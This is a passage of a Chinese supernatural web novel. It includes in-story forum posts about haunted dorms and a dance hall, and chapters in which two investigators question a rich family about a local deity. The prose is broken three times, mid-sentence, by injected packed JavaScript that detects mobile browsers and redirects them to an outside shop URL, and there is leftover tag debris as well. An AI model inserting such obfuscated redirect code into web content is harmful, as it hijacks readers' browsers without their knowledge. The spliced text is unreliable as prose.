恒盛大学的破宿舍楼能不能修一修呢?点名4号楼!里面放着的桌子椅子锈成那样,碰一下我都怕我得破伤风! 【人人玉】:就是啊!能不能把学生当个人!多久了都没人来换,公共卫生也没人有宿管来打扫……-7个月前23:02 【粉红噪音】:我记得恒盛大学的宿舍设施早就换了啊,宿管明明挺勤快挺温柔的呀。-7个月前23:17 【人人玉】回复【粉红噪音】:温柔?上次我路上见了她,给我好一顿骂呢,一头短发老凶了,哪里温柔了?搞区别对待?-7个月前23:20 【粉红噪音】:等等,宿管明明是长头发吧?上次我还夸她烫的大波浪好看呢。-7个月前23:23 【脆归归】:我作证,宿管是短发才对!-7个月前23:25 【今夜的雨我的泪】:我也作证!明明是个凶巴巴的短发老太婆!-7个月前23:27 【古鹅】:你们都等等,恒盛大学哪来的4号宿舍楼??-7个月前23:29 【粉红噪音】回复【古鹅】:!!!对啊!宿舍楼一共只到3号啊!-7个月前23:29 【脆归归】:笑死了,开什么玩笑?那我们住的是哪里啊?-7个月前23:30 【古鹅】:我查到了资料,恒盛大学六年前的确有4号宿舍楼,后来遇上了塌方事件,整栋楼的学生都被埋了,死亡名单里的那位宿管,就是短头发……-7个月前23:56 【今夜的雨我的泪】:什么意思……-7个月前23:59 【脆归归】:原来&$#@$$&&我%%都#$%*死%?#@%了%*-7个月前00:00 【人人玉】%?#%们*&$@’‘‘@#$%&{都死了*&%?#来@@陪我@$‘?%&*’$%*{{$##-7个月前00:00 <裘之遍:此贴已封禁^_^> 〖杀猪〗发帖人:【温暖】-一个月前12∶03 我对后邻没有太多印象,只记得那家有个黑胖的男人,他算是我见的第一个胖子,见到他之前,我一直以为世界上的人都是和我们一个体型的。 "我带你上泽宇家去。"奶奶说。 "泽宇是谁?"我总是这么问,我感觉村里的人都一个样子。 "就是那个大黑胖子家。" 哦,那我就明白是谁家了。 一进门,我就看到一只巨大的白猪趴在墙根,它的脚被铁丝绑着,左右动着鼻子看着我。与此同时,泽宇家吵闹地进来了很多人,他们手里拿着盆子,说笑着聚在院子里。 "奶奶,"我看着那猪又小又黑的眼睛问道,"为什么它这么安静?" "因为这个畜生知道自己要死了。" 这时我才知道原来泽宇家是要杀猪的。奶奶把我送到屋里,跟我说如果害怕就不要看,说完就去了院里和其它人说笑了。 泽宇也在屋里,他比我大几岁,在那儿一边吃瓜子一边看彩虹树屋冒险记。我也喜欢彩虹树屋冒险记,所以我也坐下来看,其实我暗自希望那猪可以突然挣脱铁丝跑掉,但我没去试图阻止他们杀它。因为这是人家买的猪,而且我也是吃猪肉的。 这时泽宇起身把玻璃门关上。"为什么关门?"我问。 "要杀猪了,会很吵。"泽宇漫不经心地回答。 我透过玻璃门看那猪安静地被抬到长凳上,我怕怕地看下去,只有人把盆子放到猪脖子边,原来那盆子是用来接猪血的。我知道他们要动手了,就提前捂好了耳朵,但下刀的时候我还是闭了眼。那安静的猪这才爆发出濒死的哀嚎,我看着人们一个接一个地将盆子放到它脖子底下去接血,直到那猪的叫声一声声地低下去。 盆里的血带着热气,在空气中升腾,我忘记后面是怎么回去的了。几年后我又见到了那个黑胖的人,只是他黑得泛紫,双眼也凸了出来。家里人说他饮酒过度,已经快死了。 他也是很平静的样子。 <评论区> 【乾为天】:在家里杀生是会影响这家人的气运的。-一个月前20:09 …… 〖焦点舞厅闹鬼,都别去了!!〗发帖人:【老张爱跳舞】-前天10:50 你大爷的焦点舞厅,有脏东西你们不处理干净就营业想害死谁?!! 前天我在一楼和舞伴跳了两支交谊舞,我就解了个手的功夫我舞伴找不见人了,隔天我遇见我舞伴,结果她说那天她脚扭了根本没去过舞厅! 真他娘的后怕,那天和我跳舞的是什么玩意儿?!! <评论区> 【芋头】:恭喜楼主也是和鬼跳上舞了。-前天10:53 【老张爱跳舞】回复【芋头】:那我祝你也遇上这件喜事哈。-前天11:00 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那是昨天……我在舞厅二楼和朋友喝酒,在窗户旁似乎有黑影一闪而过,我以为是我喝醉了眼花,就没在意。 下到一楼,我们还看了席兰也就是孟寻真小姐的表演,真的很美。但是突然,灯球闪了两下就灭了,紧接着发出了血红的光,音响也突然切了歌,我从来没听过那个调调,只记得几句是“引魂幡,引路长,引我亲人返仙乡……” 整个世界仿佛都成了红色,我从来没有那么害怕过,后来我就连滚带爬地跑出了舞厅。 <评论区> 【温暖】:“孝子贤孙来相送,送您一路到西方……”这是《引路归乡》啊!-今天20:13 【旭日东升】回复【温暖】:《引路归乡》?那是什么?-今天20:43 【温暖】回复【旭日东升】:是丧乐,很有年头了,我只在家里的老人出殡的时候听过。-今天21:09 【旭日东升】回复【温暖】:我猜到那不是什么吉利歌了……但听你这么说,还是觉得后背发毛。-今天21:17 【老张爱跳舞】:还好我昨天走得早,本来还惋惜没留下来看席兰的表演,知道后面发生了这档子事儿才觉得幸亏我走得早,不然心脏病都给我吓复发喽!-今天21:46 评论区>评论区>评论区>裘之遍:此贴已封禁^_^>裘之遍:此贴已封禁^_^>评论区>如有问题可联系长声负责人>天长地久有时尽,此声绵绵无绝期>欢迎使用长声> 11.庙老爷 5 徐歌在长声里一直逛到眼皮打架,再睁开眼已经是早上八点多了。她一个翻身从床上坐起,趿拉着鞋走到窗边,看见陆南正坐在自行车上,似乎在望着远处出神。 陆南四岁被带回徐歌家,过了十几年又离开太平村独自来到恒盛,短短二十年里,陆南已经独自一人辗转了三地。 他仿佛不属于任何地方,阴童子没有前世,也没有来生,似乎这样一个人只是为了来世上落一下脚,受尽苦楚后又离开得干干净净。 徐歌莫名有些害怕,害怕下一个不留神陆南就会消失在这个路口然后再也找不见。她用指头扒拉了两把自己的短发,风风火火地跑下了楼。 “差点就睡过了,”徐歌快步从楼梯口出来,“等了多久了?” 听到声音,陆南回过神来∶“我刚下来没几分钟,正好吹了吹早晨的风,很舒服。” 没关系,起码现在他好好儿地在眼前笑着呢。 徐歌一下子跳上自行车的后座,陆南伸腿撑了一下才没有连人带车歪到绿化带里。但他好像总是一副温和的样子,从小到大都没有因为徐歌的冒冒失失生过气:“坐稳咯。” 自行车被很快地蹬起来,出了巷子,进入一道宽阔的大下坡路,自行车的速度越来越快,夏天的风呼呼地吹在脸上,徐歌扶着陆南的肩膀兴奋地从后座上站起来,感受着风吹在脸上的感觉。 徐歌喜欢吹风,太平村南边有个大坡,小时候因为个子不高攀不上自行车,她就拉着陆南从坡上张开手臂往下跑,还张着嘴巴傻傻地想把风吃进肚子。即使有那么一两次摔了个狗啃泥,但她的热情却丝毫没被削减。 如今能站在自行车上自由自在地吹风,简直再好不过了。 早晨的市中心交通比较畅通,陆南骑着车熟练地穿梭在街道上,四周的景物快速地倒退,不出四十分钟,自行车就到了踢英馆大门前,这时梁必先也在长声上回了消息:“2号楼。” 徐歌还下意识等着对方回复门牌号,但很快意识到这里是别墅区,整栋楼都是一户人的,所以没有门牌号。 陆南把自行车停到了踢英园对面的树荫下,这条街位于市中心外围,既不或许喧闹,也不显得冷清,是个很宜居的地段。 此时一枚蒲公英的种子被风吹着拂过陆南的鞋面,被吹起来后又被徐歌撷去。 这个地段种了不少蒲公英,而且这里的蒲公英的花球都非常茂盛,吹散后,一枚种子上的毛绒就有手掌那么大。 “好能长的婆婆丁,一看就能被吹得很远。”婆婆丁是村里的叫法,城里的叫法是蒲公英——徐歌说着把蒲公英种子往空中一抛,那种子就随着风摇摇地飞远了。 陆南心念微动,这些撞到脚上的蒲公英或许就是“踢英园”这个名字的来由,倒是很应景。 就在徐歌和往常一样准备直接从大门进去时,却被一根横斜在路边的路障拦住了。 “诶诶,你们找谁?这里不能随便进啊。”门卫从值班室的窗户里探出头来,严厉地对着陆南和徐歌道。 徐歌只得胡乱编了个借口:“我们……这是我哥,我俩是来找我们老舅的。” 门卫依旧是刚正不阿的样子:“你得证明你们老舅真在里面呐,不然就算是找你亲爹也没用啊。” 徐歌挤挤眼睛发现实在是没有两滴泪,只能干巴巴地恳求:“他人快不行了,请您通融通融,放我们进去吧。” 陆南也在旁边附和着:“是啊大哥,您通融一下,我们急着去见他最后一面呢。” 保安的语气放缓了一些,但仍旧没有松口:“我们这也是按规矩办事,经常有贼号称来走亲戚企图混进去,我是真不敢乱往里面放人,你们就别为难我了。” 陆南趁机打量了一圈周围的环境,不愧是是富人区,踢英园的安保很好,不少地方甚至安装了高级的监控探头,一旦被抓了可就真说不清了,所以从别的地方翻墙进去也不可取。 徐歌只得跟着陆南走到一边,掏出手机来重新联系梁必先:“我们不认识人,进不去,你能不能联系联系那户人家?” 过了几分钟,梁必先发来了消息:“我给你们联系上了,到时候有人来接你们。” 本来不抱什么希望的徐歌松了口气:“太好了,后勤部有点本事啊,这也能联系上。” 徐歌走到门卫室窗户底下,对里面说道:“门卫大爷,我刚刚喊我老舅来接我们了,这下我们能进去了吧。” “你老舅人不是快不行了吗。”门卫虽然这么问,但态度缓和了不少,他也看出了这俩人应该是有什么不好和他说的原因,不过既然认识里面的住户,也就不再为难他俩了。 陆南也察觉到了门卫态度的变化,知道他也就是随口问问走走形式,于是干笑了两声顺着徐歌的话开始胡诌“哈哈,他听我们来了所以开心,病一下好了。” “哎呀,是你们呀!”语调轻快的男声传了过来。 听到这声音,二人心下暗叫不好,抬头看见是一个高个子男生向他们打招呼,他的声音有点发哑,似乎还在变声期,一身装扮休闲考究,深棕色的头发也打理地一丝不苟。 门卫一脸你们骗我好歹排练一下的表情看向他们:“我先不说你俩兄妹长得一点也不像的事儿了,就是你们这老舅,长得够年轻啊。” “我家辈分小,哈哈。”徐歌还趴在窗户下面闭着眼睛胡诌。 门卫一副懒得理他们的样子啪地一声拉上了玻璃窗。 那人小步朝着陆南和徐歌跑来,“你们好你们好!我叫秦一逍!我爸年轻的时候,家就在焦点舞厅,”秦一逍笑着露出少年气的两颗虎牙,转头对门卫道,“诶——大爷,这两个是我朋友!” 门卫大爷又拉开窗户,对着秦一逍扯了扯嘴角:“小秦呐,又交好朋友啦,但是也别什么人都往家里塞,你爸为你操碎心了。” 门卫说完遥控着打开了小区的大门,还是放他们进去了。 “嗯?你们对大爷说啥了?”秦一逍有些摸不着头脑。 徐歌回答:“讲了一下我家的亲缘关系。” 秦一逍:? 陆南哑然失笑,不管那门卫对他们产生了怎样的奇怪印象,不过总算是从大门口正大光明地进来了。 “大师,你们脖子上和手腕上的就是那种咻咻咻的法器吗?”秦一逍指着陆南手上的珠串和徐歌脖子上的花钱,饶有兴趣地问道。 陆南礼貌笑笑:“不用叫我们大师,叫我陆南就好。” “我们没比你大几岁呢,叫我徐歌吧。” “哦哦,陆南,徐歌,”秦一逍听话地点点头,“你们在哪里工作呀?居然也会用长声吗?” “嗯……你对这方面很感兴趣吗?”陆南反过来问道,他不喜欢一上来就被人问东问西。 “我,我理解,商业机密嘛,我爸经常说这词,”秦一逍不好意思地挠了挠后脑勺,“我的确对这方面很感兴趣,我还偷偷收藏了一些法器,今天我爸不在家,待会儿正好给你们看看!” 在二号楼门上,陆南和徐歌第一次见到不需要插钥匙的电子锁,秦一逍毫不避讳地在他们面前快速输入密码,滴地一声,大门应声而开。 这样一个富家少爷居然对两个外人这么不设防,陆南忍不住怀疑这里是不是有诈。 进入别墅,陆南意外地发现屋内的装修竟然意外地简单,或者可以说,恰到好处,除了质地精良的大件家具外,几乎很少放置多余的摆件。 “两位别客气,坐!我去拿点东西给你们看!”秦一逍哒哒地跑上了二楼。 徐歌看见一旁的柜子上摆放着一张全家福,上面是一对夫妻抱着年幼的秦一逍,中间的椅子上还坐着一位老人。 联想到那张照片上怨魂的形象也是个老人,徐歌压低了声音问陆南:“诶,你说这个老人会不会和那个怨魂有关系?” “有这个可能,待会儿问问秦一逍。” 椅子上的老人笑眯眯地看着镜头,显得十分慈祥,很难想象这样一个人会变成作祟的怨魂。 “我来了!”秦一逍手里拿着杂七杂八的符咒和串珠走了下来。 徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618966|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歌眨眨眼睛:“这些是……你的收藏?” 秦一逍兴奋地回答道:“对呀,你们给我看看,这些用来打鬼厉不厉害!” 陆南粗略地看了看他手中的那些东西,委婉地回答道:“这些都是不错的工艺品。” “啊?工艺品?你的意思是它们不可以用来打鬼吗?” “我们所用的法器都是经过灵力的加持,所以才可以对怨魂造成伤害,它们本身的质地固然重要,但是没有灵力的加持也是没用的。你所收藏的这些大部分都是质地精良的工艺品。” 秦一逍把它们往桌子上一放,看起来十分沮丧:“啊——怎么这样,我东拼西凑地收了好久呢!” “那,我到哪里去弄你们那些有灵力的法器呢?”秦一逍很快地振作起来问道,“我可以出很多钱!” 陆南默默叹了口气:“光有钱是不行的,还得有一定的机缘。” 徐歌学着神棍的样子接过话茬:“说不定哪天你缘分到了,自然而然就得到了呢。” “这样吗……”秦一逍十分沮丧。 “好了,接下来轮到我们问你点问题,可以吗?”陆南问道。 “当然当然!差点就忘了正事了,你们尽管问!” 于是徐歌开口问道:“你们之前在焦点舞厅那块地皮上住的时候,有没有遇到过什么恶性事件?比如杀人案之类的?” “这个我没听说过,而且在我三四岁的时候就搬离了那地方了,那时候的记忆也比较久远了,所以我也不能确定。” 的确,而且就算真的有人非正常死亡,家里人也很可能会瞒着这个小孩,所以秦一逍不知道是很正常的。 “照片上的这个人是你的爷爷吗?能给我讲讲他的故事吗?” “是我爷爷,听我爸说,他是一个很能干的小老头,小时候他对我也很好,而且经常给乡下捐钱做慈善,”秦一逍回忆道,“他活到了九十多岁,我只记得那天他躺在椅子上晒着太阳,我去拉他的手,冰冰凉的没有反应,才知道爷爷去世了。” 见秦一逍有些低落,徐歌安慰道:“是寿终正寝啊,老爷子生前是个好人,所以最后也是没有受罪的。” 秦一逍重重点头:“你说得对,爷爷是个好人,他肯定不会和这件事有什么关系的。” 如果是正常死亡,但舞厅的怨魂是客观存在的,它的存在就证明着肯定是非正常死亡,这又该怎么解释呢。 徐歌考虑了一会儿,问道:“你的爷爷去世后,你们马上就搬走了吗?” 秦一逍点点头:“我们家里是卖烟酒的,爷爷白手起家,后来公司到了爸爸手里也经营的很好,当时有个老板坚持着要收购我们家所在的的地皮,后来爸爸拗不过他,就在这里重新买了房子,我们就举家搬来了。” 徐歌问道:“听意思是,你父亲一开始并不想搬家?” “毕竟那个地方是爸爸一直以来的家,爷爷生前也很珍惜那栋房子,还嘱咐过我们要好好保护那个地方,可是爷爷去世后,那个片区就被划为了商业区,爸爸也没办法扛着压力继续在那里做钉子户。” 陆南问了一句题外话:“我比较好奇,你是怎么对术法这种东西感上兴趣的?” “哦,这个,是因为小时候爷爷常给我讲仙家的故事,仙家会用很酷的术法帮助人们,但是爸爸不喜欢我研究这些,他就想我去继承他的公司,可是我对继承公司什么的一点也不感兴趣。” “那你还记得他跟你讲过哪个仙家吗?” “当然,我记得很清楚,爷爷最常提的仙家就是‘庙老爷’。” “庙老爷?”陆南隐隐约约记得自己从哪本书上见到过这个名字,这应该是个只在特定区域有信仰的地方仙,和之前遇到的隐仙是一样的。 “那时候我也才三四岁,除了这个仙家的名字外,其他的实在是记不清了,”秦一逍说着掏出了手机,“不过我后来在长声上搜索过庙老爷,还真让我搜到了,不过故事的版本有好几个。” 秦一逍拿着手机凑到二人面前,打开了长声。 12.庙老爷 6 <欢迎使用长声> <天长地久有时尽,此声绵绵无绝期> <如有问题可联系长声负责人> <> 负责人2:赵不见> 每次打开长声的时候,加载页面上都会出现这几句话,黑底红字看起来十分鲜明。 秦一逍的长声名叫【噼里啪啦小老虎】,他依旧是毫不避讳地点进了个人主页,打开了自己收藏的几个帖子: 〖地方仙科普:庙老爷〗发帖人:【停云阅川】-五年前19:58 欢迎进入停云阅川的科普课堂,今天我们讲的是一个鲜为人知的地方仙——庙老爷。 话说三十多年前的恒盛,还是一片穷乡僻壤,在这里有一小座不起眼的破庙。 这个庙之前是不懂的人乱建的,只是一栋土胚,里面空空如也,原也没有什么仙,但是路过的人出于敬畏,也经常去庙里敬上些香火,久而久之,这座庙竟真的有了一个仙。 因为是庙中生出的仙,所以祂就叫“庙老爷”。 庙老爷不求香火鼎盛,祂只是默默地庇佑着恒盛,庇佑着每一个向他祈福的人。 后来,恒盛的经济蓬勃发展,庙老爷却渐渐被人们遗忘,或许,哪天你会找到这座小庙,届时请不要忘记进去献上两根香…… 〖破庙〗发帖人:【老刘恐怖故事汇】-三年前11:08 小刘的村东头有个破庙,他常和朋友到那边玩,那庙很破,偶尔会有人去点上三根香,破破烂烂的供台上还有一些零嘴。这样的一个破庙,不知道哪里会窜出来几只老鼠,小刘也是不明白为什么这种地方还有人愿意往里面插香,就算里面真有什么仙,自己的庙破成这样,也是个没本事的仙。 那天,日头就要落山的时候,突然下起了大雨,小刘不得不去破庙里避雨。就在他咒怨着那场让他回不去家的大雨时,发现破庙里有一个人正鬼鬼祟祟地从桌底伸手去够桌子上的贡品吃。 那人穿着一身破破烂烂的粗布,蓬乱的头发里还掺着几根枯草,跳蚤从里面进进出出。 老鼠没见着,倒是见着个乞丐。心里憋着一股火的小刘仿佛找到了发泄的对象,他上前揪住那乞丐的头发,把他拖从桌子底下拖了出来。 “什么东西你都敢偷吃?”小刘不顾乞丐的求饶,把他一路拖到了门口。 乞丐被他揪下来一撮血淋淋带着头皮的头发,小刘嫌弃地将头发随手扔进庙里。 许是无聊,小刘蹲下开始拷问那个乞丐:“你在这里偷偷住了多久了?” “没……我实在是没地方住了,我就只待两天!不,雨停了我就走……” “你住在这破庙里,有见过神仙吗?你吃祂的贡品,不怕被祂怪上?” “我实在是饿得没法儿了,我磕头了,磕了好几个……” “你磕头祂就让你吃了?还是说这里压根儿就没什么神仙吧?” “有的,有的,有香火的地方,就有神仙……你不能打我!不能……不能在祂们庙里造反……!” 小刘顺着乞丐指的方向看去,供桌上果然刻着“厌噪”二字,意味在庙里要保持安静,禁止无谓的聒噪。 小刘气不打一处来:“神仙神仙,这个破庙哪有神仙?!” 他起身的同时给了乞丐一脚,然后走到供桌前,把桌子连同上面稀稀拉拉的贡品一把掀翻到了地上。 与此同时,小刘发现,屋外的雨似乎停了。 小刘大笑起来:“看吧,我说什么来着,外面的神仙也支持我端了这所破庙!” 小刘把庙里仅有的摆设也砸了个稀巴烂,砸完后他没再管趴在地上的乞丐,大摇大摆地走出破庙回了家。 第二天,村民们打着雨伞,在破庙的门前发现了烧焦的小刘的尸体,雨一直没停过,没人知道他是怎么在雨中被烧死的。 小刘的家里人悲痛欲绝,他们在雨停之后,瞒着村里的人一把火把这个破庙烧了个干净。只是在火光中,他们似乎见到了小刘扭曲的身影。 <评论区> 【不要鬼故事】:吓到我了,小刘是得罪了庙里的神仙遭了报应吗?故事最后,是他家里人烧死了小刘??-三年前13:06 【凌厉】:故事有漏洞啊,先不说那个乞丐是哪儿来的,小刘后面被烧焦了,应该无法辨认长相才对,尸体是怎么被人认出来的?-三年前16:17 【嘟嘟嘟】回复【凌厉】:一个虚构的故事你较什么真?-三年前17:07 【凌厉】回复【嘟嘟嘟】:又众人皆醉我独醒上了,就你聪明?-三年前21:04 〖庙姥爷与商人〗发帖人:【夜话】-三年前15:04 很久很久以前,有一个落魄的商人逃债逃到一所破庙里。 这座破庙不知道是哪个仙家的,连个牌位都没有,破破烂烂的供桌上摆放着几枚发干发硬的馒头。 两个月前商人在恒盛做生意,不想被骗得血本无归,不仅倒贴上了全部家当,还欠了一屁股债,还也还不上。商人跑了很远的路,就快要被饿死了,如今误打误撞进了这座庙,却不知道庙里的神仙在哪里,于是他一边哭着一边在庙里对着各个方向哐哐磕了好几个头,然后跪着爬到供桌旁边,抓起馒头就狼吞虎咽地吞了下去。 神奇的是,商人在庙里睡了一觉后,醒来发现自己腰不酸了腿也不疼了,身上还多了几十块钱,他拿着这些钱重新去进货卖货,不仅成功还上了债,还积攒了不少财富。 后来商人得知,是庙里的庙姥爷赐福了他,他才得以东山再起。于是商人知恩图报,花大价钱修缮了庙宇,还跟别人分享了自己的故事,从那以后庙里香火鼎盛。 <评论区> 【冬月小雨】:好温馨的故事啊-三年前21:27 【凌厉】∶我在其他地方看到过“庙老爷”的故事,祂和这里的“庙姥爷”有什么关系吗?-三年前21:54 【夜话】回复【凌厉】∶一个仙家在不同的地方会有的名字会有出入,是这个原因吧。-三年前21:59 【凌厉】回复【夜话】∶不过那个讲庙老爷的,是个恐怖故事。-三年前22:29 【夜话】回复【凌厉】∶这我就不清楚了……其实故事传来传去总会被后人加上主观色彩,然后顺着他们的需求被改编。-三年前22:46 …… “三篇文章的共通之处只有庙老爷是个鲜为人知的仙家,”徐歌从手机上收回了目光,“秦一逍,你能把这些帖子发我一份吗,我回去再接着研究研究。” “当然!” 徐歌和秦一逍刚添加上长声的好友,别墅的大门就传来滴滴的解锁声。 秦一逍一个激灵站起来:“不好!是我爸回来了!” 接着他飞快跑到窗边拉开了窗户:“你们快跑!要是你们被我爸抓到……我就完蛋了!” 陆南和徐歌用复杂的眼神看了一眼对方,不约而同地迅速从窗户翻了出去。 就在他们溜出去的同时,呵斥的声音从屋里传了出来:“臭小子又给我乱倒腾什么!!” “大师好身手!”秦一逍死到临头还不忘探出头来比了个大拇指。 陆南轻巧地落地后回头一看,正好看见一只手揪着秦一逍的耳朵把他的脑袋拽了回去。 等他爸从窗户里探出头来寻找是谁闯进他家的时候,陆南和徐歌已经逃之夭夭了。 跑着跑着,徐歌突然笑起来:“哈哈哈哈,你这工作的委托都这么有意思吗?” 两人在门卫看精神病的眼神里一路跑出了大门,骑上自行车就走了。 陆南不禁也笑起来,他之前出任务,很少遇到这种啼笑皆非的事情。而且他几乎都是单独行动,就算有搭档,也只进行必要的交流——他已经很久没有感觉到这样的轻松了。 他不禁产生一个自私的想法,或许他是开心徐歌能进入这个组织的,这样他走在这条长路上有人作伴,就不会那样黑了。 陆南带着徐歌来到一家面馆,花了两毛要了两大碗牛肉面,其他桌上的面的香气勾起了徐歌的食欲,她这才想起自己从早上到现在还没吃过饭。 坐在板凳上等面的过程中,徐歌的手机响了,打开发现是秦一逍发来了消息。 【噼里啪啦小老虎】:徐歌!我把帖子转给你了,你能看见吗?-今天14:09 【八方来财】:可以,谢谢你了!-今天14:10 【噼里啪啦小老虎】:不用跟我客气,你们跑得好快啊,我老爸连你们的背影都没怎么看清!-今天14:10 【八方来财】:说起这个,你爸没把你怎么样吧?-今天14:10 【噼里啪啦小老虎】:害,完全没事儿!我爸就是面上凶,就算气急了打我也是一点也不疼的!-今天14:11 【噼里啪啦小老虎】:你们下一步就要去捉那个东西了吗?我可以跟着去看看吗?-今天14:11 【八方来财】:不行啊,怨魂是很危险的。-今天14:12 【噼里啪啦小老虎】:那,那,等你们解决完了,能给我讲讲吗?-今天14:12 【噼里啪啦小老虎】:我真的非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627382|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常非常感兴趣!-今天14:12 【八方来财】:如果顺利解决的话,我一定讲给你听。-今天14:13 【噼里啪啦小老虎】:太好了,徐歌你是大好人!!-今天14:13 【噼里啪啦小老虎】:以后有什么事情用得着我尽管吩咐!-今天14:13 “面来喽!” 热气腾腾的牛肉面端了上来,徐歌将手机塞进口袋,拿起筷子就迫不及待地吃起来。 “慢点吃,不够再点。”陆南看着徐歌狼吞虎咽的样子笑道。 徐歌嘴里塞了满满的面,呜呜囔囔地问道:“话嗦,辣个庙老爷,你有什么扣绪吗?” 陆南慢条斯理地夹起面条: “难就难在,我们知道的情报很零碎,我只能隐隐约约感觉到它们之间的确是存在某种联系,但很难把它们串起来。” 陆南接着说道:“你慢慢吃,我捋一下我们目前得到的情报。” “首先,我们知道焦点舞厅里,怨魂的样子是个老人,但无论是马慈还是秦一逍,都说没有老人的非自然死亡事件。我认为他们其中,至少有一个人在撒谎。 虽然马慈给我的印象并不怎么样,但我更倾向于说谎的人是秦一逍。 我不认为一个商业精英的儿子,会单纯到对两个素不相识的人这么没有戒备心,如果他的目的是帮他的父亲隐瞒什么东西,倒是勉强说得通。 我刚刚在长声上翻到,秦一逍家的公司,在十几年前,有一段经营困难期,这段时间差不多就是秦一逍的父亲接手公司没多久的时候。 这里我姑且假设一个动机,秦一逍的爷爷不让他们离开原本的房子,而马慈收购地皮给出的钱财正是秦一逍的父亲经营公司所需要的,他们因此有了利益冲突,故而酿成惨剧。 不管我的假设是否正确,我们接下来调查的重点,都在于秦一逍的父亲。” 徐歌放下筷子:“可是,这一切的前提,都是建立在焦点舞厅的东西,真的是个‘怨魂’之上吧?” 陆南微微吃了一惊:“你的意思是,舞厅的东西不一定是怨魂……这样一来,马慈和秦一逍说的可能就都是真话了。” 徐歌点点头∶“据秦一逍所说,他的爷爷生前曾叮嘱他们不要离开原本的房子,可是他们后面迫于政策的压力,不得不搬家,这个理由在我这里是说得通的,我认为主要的问题在于,为什么他的爷爷不想离开原来的房子。 所以我在想,房子里有什么重要的东西?有什么重要的东西是在他死后不能被轻易带去新家的?” “庙老爷。”陆南瞬间明白了徐歌的意思。 陆南平时处理的东西都是怨魂,所以他下意识就给那东西定了性,以至于忽略了这个可能。而徐歌作为新人,她的思维明显不局限于怨魂这一样东西,陆南默默想道,这次属于徐歌的考核,或许自己少给予所谓的主观性质的帮助,才是好的。 “多了的不准插手哦。” 陆南想起吴关的话,这样想来,这不只是一种限制,也是一个提示。 “当然,你的猜测也很有道理,”徐歌说道,“说到底,下一步我们都得去会会秦一逍他爹了,他知道的肯定比秦一逍多——但是问题在于,他似乎对这方面很抵触,怎样才能让他心平气和地和我们谈谈,这是个问题。” 陆南第一次没有及时回答徐歌的话,他盯着桌面,心中正被徐歌提出的可能性带来的风险所填满。 如果真的是庙老爷,这件任务就麻烦了。 仙家和怨魂,根本不是一个层次,而且这种地方仙和信仰广泛的正神不同,正神一般都有自己的原则,而地方仙的行事风格往往更加自由更不可捉摸。 如果祂对徐歌产生了敌意,或是祂像隐仙一样已经被混沌侵蚀了……那么后果将不堪设想。 就在这时,一个男人进入店里,径直坐到陆南旁边,一下子拍上他的肩膀:“你们以为自己走得掉?” 评论区>评论区>如有问题可联系长声负责人>天长地久有时尽,此声绵绵无绝期>欢迎使用长声> 13.庙老爷 7 觉察到危险的瞬间,徐歌一脚踩上桌子,瞄着男人的下颚就是一记顶膝。 虽然徐歌控制了力道,但男人还是连人带凳子一起倒向了地面。 “哎呦!怎么了这是!?别打啊!”最先传来的是店老板惊慌失措的喊叫。 那男人还没等从地上爬起来,就被陆南别着胳膊又摁了回去。 “想干什么?”陆南冷冷地问道。 穿着西装的男人勉强回头,眼里满是难以置信:“我还没问你们想干什么!” 陆南端详着男人的脸,发现他的眉眼和秦一逍有几分相似。陆南手下松了劲,把男人顺手从地上拽了起来,转而换上笑脸:“难道你是秦一逍的父亲?不好意思,是我们冲动了。” 男人看着两个人只是二十出头的小年轻,本想在上来的时候先在气势上压他们一头,好占据主导地位,但没想到这俩人会直接动手。 而看着文质彬彬的陆南对他笑着,仿佛前几秒把他摁在地上的事没有发生一样,还有这个短发女生,二话不说就动手,自己在生意场上接触体面人惯了,都快忘了还存在这种野蛮人物。 “客人要不你先从桌子上下来,我们小本生意经不起折腾啊!”店主在旁边几乎是恳求一般说道。 徐歌闻言听话地跳下了桌子:“哦好的。” 好像也没有那么野蛮……? 男人做了个深呼吸,从钱包里掏出一张百元大钞递给店主,又把凳子扶正,对着陆南和徐歌说道:“……算了,就当是我一上来冒犯了。我叫秦川,秦一逍的父亲。” 此时店内其他客人都被刚刚的场景吓跑了,而老板拿了超额的补偿后也乐呵呵地回了后厨。 “这的确是我们有错在先,”陆南也缓和了态度,“但请你相信我们绝对没有歹意,我们也不会试图打听对任务之外的情报。” 徐歌紧跟着道歉:“不好意思了大叔,是我上来直接动手的——你下巴没事儿吧?” “没什么要紧的,”秦川用指头摸了摸下巴的淤青,叹了口气道,“我过来是想请教一下,二位见我儿子是想打听什么呢?” 算起来,陆南带着徐歌离开踢英园也不过一个小时,这么短的时间内秦川就可以精准地找到他们,此人的情报能力非同小可。 徐歌坐回凳子上开口道∶“秦先生应该听说了最近焦点舞厅的事吧?” “我平时生意很忙,不怎么关注这些事情,还请大师告诉我。” 很聪明的回答,陆南察觉到秦川大概是想通过二人对这件事情的叙述,进而判断他们的真实的来意,于是陆南在徐歌开口之前把手机放在了秦川面前∶“长声上有不少关于这件事情的帖子,这是其中几个,秦先生可以看看。” 最好的办法就是避免主观的陈述,让他自己去看。 